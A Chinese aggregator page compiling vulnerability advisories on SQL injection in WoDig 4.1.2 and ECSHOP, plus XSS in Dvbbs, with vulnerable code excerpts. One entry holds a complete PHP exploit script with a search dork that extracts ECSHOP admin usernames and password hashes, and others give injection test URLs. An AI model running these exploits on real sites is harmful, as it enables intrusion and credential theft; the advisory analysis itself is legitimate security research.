以下是小编给大家收集的WoDig社区程序两个页面过滤不严导致SQL注入漏洞(共含7篇),欢迎大家前来参阅。同时,但愿您也能像本文投稿人“阿又”一样,积极向本站投稿分享好文章。
WoDig社区程序Movie_list.asp页面过滤不严导致SQL注入漏洞
影响版本:
WoDig 4.1.2
程序介绍:
WODIG程序是一个集digg民主投票方式模式发掘网站、社会性标签tag归类、主题评论、主题群组、Rss订阅等多种WEB2.0元素于一体的新型社区,
漏洞分析:
在文件movie_list.asp中:
tags_name = Request(“tags_name”) //第20行
……
<%Call Default.Get_movieContent(“movie_list.asp”)%> //第152行
Get_movieContent过程在文件wolib/ cls_class.asp中:
Public Sub Get_movieContent(pageurl) //第549行
……
if tags_name “” then //第561行
Sql = Sql & “ and Src_ID in(Select SrcTag_SrcID From wo_SrcTags Where SrcTag_Name='”&tags_name&“')”
end if
程序没有对放入sql语句中的变量tags_name做过滤导致注入漏洞的产生。
解决方案:
厂商补丁:
WoDig
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.wodig.com/
信息来源:
<*来源: Bug.Center.Teamwww.cnbct.org链接:wavdb.com/vuln/1446*>
WoDig社区程序Members.asp页面过滤不严导致SQL注入漏洞影响版本:
WoDig 4.1.2
程序介绍:
WODIG程序是一个集digg民主投票方式模式发掘网站、社会性标签tag归类、主题评论、主题群组、Rss订阅等多种WEB2.0元素于一体的新型社区。
漏洞分析:
在文件Members.asp中:
SearchType=HTMLEncode(Request(“SearchType”)) //第38行
SearchText=HTMLEncode(Request(“SearchText”))
SearchRole=HTMLEncode(Request(“SearchRole”))
CurrentAccountStatus=HTMLEncode(Request(“CurrentAccountStatus”))
JoinedDateComparer=Left(Request(“JoinedDateComparer”),1)
LastPostDateComparer=Left(Request(“LastPostDateComparer”),1)
JoinedDate_picker=HTMLEncode(Request(“JoinedDate_picker”))
LastPostDate_picker=HTMLEncode(Request(“LastPostDate_picker”))
if SearchType=“all” then SearchType=“UserEmail like '%”&SearchText&“%' or UserName”
if SearchText“” then item=item&“ and (”&SearchType&“ like '%”&SearchText&“%')”
if JoinedDate_picker“” and JoinedDateComparer“” then item=item&“ and DateDiff(”&SqlChar&“d”&SqlChar&“,'”&JoinedDate_picker&“',UserRegisterTime) ”&JoinedDateComparer&“ 0”
if LastPostDate_picker“” and LastPostDateComparer“” then item=item&“ and DateDiff(”&SqlChar&“d”&SqlChar&“,'”&LastPostDate_picker&“',UserActivityTime) ”&LastPostDateComparer&“ 0”
if SearchRole “” then item=item&“ and UserRoleID=”&SearchRole&“”
if CurrentAccountStatus “” then item=item&“ and UserAccountStatus=”&CurrentAccountStatus&“”
多个数字变量使用过滤字符的函数过滤导致注入漏洞的产生,
解决方案:
厂商补丁
WoDig
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.wodig.com/
信息来源:
<*来源: Bug.Center.Team www.cnbct.org
链接: wavdb.com/vuln/1444 *>
系统编号:
WAVDB-01421
影响版本:
WoDig 4.1.2
程序介绍:
WODIG是一套经过完善设计的中文DIGG社区开源程序,是Windows NT服务环境下DIGG社区程序的最佳解决方案,
漏洞分析:
在文件wodig.asp中:
tags_name = Request(“tags_name”) //第13行
……
<%Call Default.Get_MainContent(“wodig.asp”)%> //第105行
Get_MainContent过程在文件/WoLib/Cls_Class.asp中:
Public Sub Get_MainPP(pageurl) //第827行
……
if tags_name “” then //第839行
Sql = Sql & “ and Src_ID in(Select SrcTag_SrcID From wo_SrcTags Where SrcTag_Name='”&tags_name&“')”
end if
程序没有对放入sql语句中的变量tags_name做过滤导致注入漏洞的产生,
漏洞利用:
www.target.com/wodig.asp?tags_name=a'
解决方案:
厂商补丁
WoDig
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.wodig.com/
信息来源:
<*来源: Bug.Center.Team www.cnbct.org
影响版本:
ECSHOP 2.6.1/2.6.2
程序介绍:
ECSHOP是一款开源免费的网上商店系统,由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。
漏洞分析:
文件includes/init.php判断get_magic_quotes_gpc,如果为off则调用addslashes_deep():
// includes/init.php
if (!get_magic_quotes_gpc())
{
if (!emptyempty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!emptyempty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理
// includes/lib_base.php
function addslashes_deep($value)
{
if (emptyempty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
// 只处理了数组的值:)
}
}
下面看下具体的导致漏洞的代码,文件 pick_out.php里:
// pick_out.php
if (!emptyempty($_GET['attr']))
{
foreach($_GET['attr'] as $key => $value)
{
$key = intval($key);
$_GET['attr'][$key] = htmlspecialchars($value);
// foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value
// 因此可以引入任意的key:)
// 程序员的逻辑出了问题?
}
}
...
foreach ($_GET['attr'] AS $key => $value)
{
$attr_url .= '&attr[' . $key . ']=' . $value;
$attr_picks[] = $key;
if ($i > 0)
{
if (emptyempty($goods_result))
{
break;
}
// 利用key进行注射:)
$goods_result = $db->getCol(“SELECT goods_id FROM ” . $ecs->table(“goods_attr”) . “ WHERE goods_id IN (” . implode(',' , $goods_result) . “) AND attr_id='$key' AND attr_value='$value'”);
由于magic_quotes_gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞.
漏洞利用:
#!/usr/bin/php
//本程序只作技术交流,请不要用做非法用途!!
print_r('
+---------------------------------------------------------------------------+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: bbs.wolvez.org
dork: “Powered by ECShop”
+---------------------------------------------------------------------------+
');
/**
* works with magic_quotes_gpc = Off
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to ecshop
Example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$resp = send();
preg_match('#INs(([S]+):([a-z0-9]{32}))#', $resp, $hash);
if ($hash)
exit(“Expoilt Success!nadmin:t$hash[1]nPassword(md5):t$hash[2]n”);
else
exit(“Exploit Failed!n”);
function send()
{
global $host, $path;
$cmd = 'cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat';
$data = “GET ”.$path.“pick_out.php?”.$cmd.“ HTTP/1.1rn”;
$data .= “Host: $hostrn”;
$data .= “Connection: Closernrn”;
$fp = fsockopen($host, 80);
fputs($fp, $data);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
解决方案:
厂商补丁
ECSHOP
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.ecshop.com
信息来源:
<*来源: ryat#www.wolvez.org
链接: www.80vul.com
*>
本文来自: cool kid's blog www.cnredhat.com/?action=show&id=191
ECSHOP是一款开源免费的网上商店系统,由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。
文件flow.php
..................................
elseif ($_REQUEST[’step’] == ’update_cart’)
{
if (isset($_POST[’goods_number’]) && is_array($_POST[’goods_number’]))
{
flow_update_cart($_POST[’goods_number’]);
}
show_message($_LANG[’update_cart_notice’], $_LANG[’back_to_cart’], ’flow.php’);
exit;
}
...................................
function flow_update_cart($arr)
{
/* 处理 */
foreach ($arr AS $key => $val)
{
$val = intval(make_semiangle($val));
if ($val <= 0)
{
continue;
}
//查询:
$sql = “SELECT `goods_id`, `goods_attr_id`, `product_id`, `extension_code` FROM” .$GLOBALS[’ecs’]->table(’cart’).
“ WHERE rec_id=’$key’ AND session_id=’” . SESS_ID . “’”;
$goods = $GLOBALS[’db’]->getRow($sql);
........................................
$_POST[’goods_number’]变量没有过滤,magic_quotes_gpc=off的情况下可型成注入漏洞
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.ecshop.com
注:首发Mr_Xhming’s Blog
ECSHOP是一款开源免费的网上商店系统,由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能
影响版本:ECSHOP 2.7.2 Release 0604
程序介绍:
ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。
漏洞分析:
在include_libcommon.php中存在如下函数
PHP Code复制内容到剪贴板
functionget_package_info($id)
{
global$ecs,$db,$_CFG;
$now= gmtime;
$sql=“SELECT act_id AS id, act_name AS package_name, goods_id , goods_name, start_time, end_time, act_desc, ext_info”.
“ FROM ”.$GLOBALS['ecs']->table('goods_activity') .
“ WHERE act_id='$id' AND act_type = ”. GAT_PACKAGE;
$package=$db->GetRow($sql);
/* 将时间转成可阅读格式 */
if($package['start_time'] <=$now&&$package['end_time'] >=$now)
{
$package['is_on_sale'] =“1”;
}
else
{
$package['is_on_sale'] =“0”;
}
$package['start_time'] = local_date('Y-m-d H:i',$package['start_time']);
$package['end_time'] = local_date('Y-m-d H:i',$package['end_time']);
$row= unserialize($package['ext_info']);
unset($package['ext_info']);
if($row)
{
foreach($rowas$key=>$val)
{
$package[$key] =$val;
}
}
$sql=“SELECT pg.package_id, pg.goods_id, pg.goods_number, pg.admin_id, ”.
“ g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real, ”.
“ IFNULL(mp.user_price, g.shop_price * '$_SESSION[discount]') AS rank_price ”.
“ FROM ”.$GLOBALS['ecs']->table('package_goods') .“ AS pg ”.
“ LEFT JOIN ”.$GLOBALS['ecs']->table('goods') .“ AS g ”.
“ ON g.goods_id = pg.goods_id ”.
“ LEFT JOIN ”.$GLOBALS['ecs']->table('member_price') .“ AS mp ”.
“ON mp.goods_id = g.goods_id AND mp.user_rank = '$_SESSION[user_rank]' ”.
“ WHERE pg.package_id = ”.$id.“ ”.
“ ORDER BY pg.package_id, pg.goods_id”;
$goods_res=$GLOBALS['db']->getAll($sql);
$market_price= 0;
其中$id没有经过严格过滤就直接进入了SQL查询,导致一个SQL注射漏洞,
在系统的lib_order.php中存在一个该函数的调用
PHP Code复制内容到剪贴板
functionadd_package_to_cart($package_id,$num= 1)
{
$GLOBALS['err']->clean();
/* 取得礼包信息 */
$package= get_package_info($package_id);
if(emptyempty($package))
{
$GLOBALS['err']->add($GLOBALS['_LANG']['goods_not_exists'], ERR_NOT_EXISTS);
returnfalse;
}
在flow.php中存在可控的输入源PHP Code复制内容到剪贴板
$package=$json->decode($_POST['package_info']);
/* 如果是一步购物,先清空购物车 */
if($_CFG['one_step_buy'] =='1')
{
clear_cart();
}
/* 商品数量是否合法 */
if(!is_numeric($package->number) ||intval($package->number) <= 0)
{
$result['error'] = 1;
$result['message'] =$_LANG['invalid_number'];
}
else
{
/* 添加到购物车 */
if(add_package_to_cart($package->package_id,$package->number))
{
if($_CFG['cart_confirm'] > 2)
$package->package_id来源于输入
解决方案:
厂商补丁
ECSHOP
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.ecshop.com
信息来源:
来源: WooYun
程序介绍:
动网论坛做为动网主要服务产品之一,自投入推广并运营以来,得到了国内外广大互联网用户的广泛好评和支持,做为国内第一的互联网论坛服务品牌,占据了国内论坛服务市场的70%以上的用户,动网论坛服务在一些如电影、下载、网游等热门网站的占有率甚至高达80%以上,是中国论坛服务领域事实上的标准。
漏洞分析:
文件usersms.asp中:
Function ShowPage(CurrentPage,Pcount,totalrec,PageNum) //第175行
Dim SearchStr
SearchStr = “action=”&Request(“action”)
ShowPage = template.html(16)
ShowPage = Replace(ShowPage,“{$colSpan}”,6)
ShowPage = Replace(ShowPage,“{$CurrentPage}”,CurrentPage)
ShowPage = Replace(ShowPage,“{$Pcount}”,Pcount)
ShowPage = Replace(ShowPage,“1”,PageNum)
ShowPage = Replace(ShowPage,“{$totalrec}”,totalrec)
ShowPage = Replace(ShowPage,“{$SearchStr}”,SearchStr)
程序没有对输出变量SearchStr过滤导致xss漏洞的产生
漏洞分析:
文件Boardhelp.asp中:
Helptitle=Request(“title”) //第22行
……
TempHelp=Replace(TempHelp,“{动网论坛三个页面过滤不严导致跨站漏洞}”,Helptitle) //第51行
程序对于输出的变量Helptitle没有过滤导致xss漏洞的产生,
漏洞利用:
www.target.com/Boardhelp.asp?act=1&title=